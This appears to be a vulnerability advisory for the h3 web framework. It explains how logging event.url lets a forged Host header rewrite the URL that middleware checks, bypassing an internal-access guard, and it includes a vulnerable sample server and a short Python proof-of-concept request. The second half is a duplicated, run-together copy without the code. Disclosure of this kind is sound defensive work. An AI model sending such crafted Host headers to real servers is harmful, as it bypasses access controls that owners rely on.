H3 NodeRequestUrl bugs
Vulnerable pieces of code :
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}
return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " + event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);
app.get("/internal/run", () => {
return "Internal OK";
});
serve(app, { port: 3001 });
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the event.url or event.url.hostname or event.url._url
It will lead to trigger one specials method
// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}
The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code :
this.#url = new NativeURL(this.href);
Where is the this.href comes from ?
get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
return this.#href;
}
Because the this.#url is still null so this.#href is built up by :
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass
What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares
handler(event) {
const route = this["~findRoute"](event);
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this["~getMiddleware"](event, route);
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)
This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.
References
H3 NodeRequestUrl bugs
Vulnerable pieces of code :
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the
event.urlorevent.url.hostnameorevent.url._urlIt will lead to trigger one specials method
The
NodeRequestUrlis extends fromFastURLso when we just access.urlor trying to dump all data of this class . This function will be triggered !!And as debugging , the
this.#urlis null and will reach to this code :Where is the
this.hrefcomes from ?Because the
this.#urlis still null sothis.#hrefis built up by :Yeah and this is untrusted data go . An attacker can pollute the
Hostheader from requests lead overwrite theevent.url.Middleware bypass
What can be done with overwriting the
event.url?Audit the code we can easily realize that the
routeHanlderis found before running any middlewaresSo the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
This is really dangerous if some one just try to dump all the
event.urlor something that trigger_url()from class FastURL and need a fix immediately.References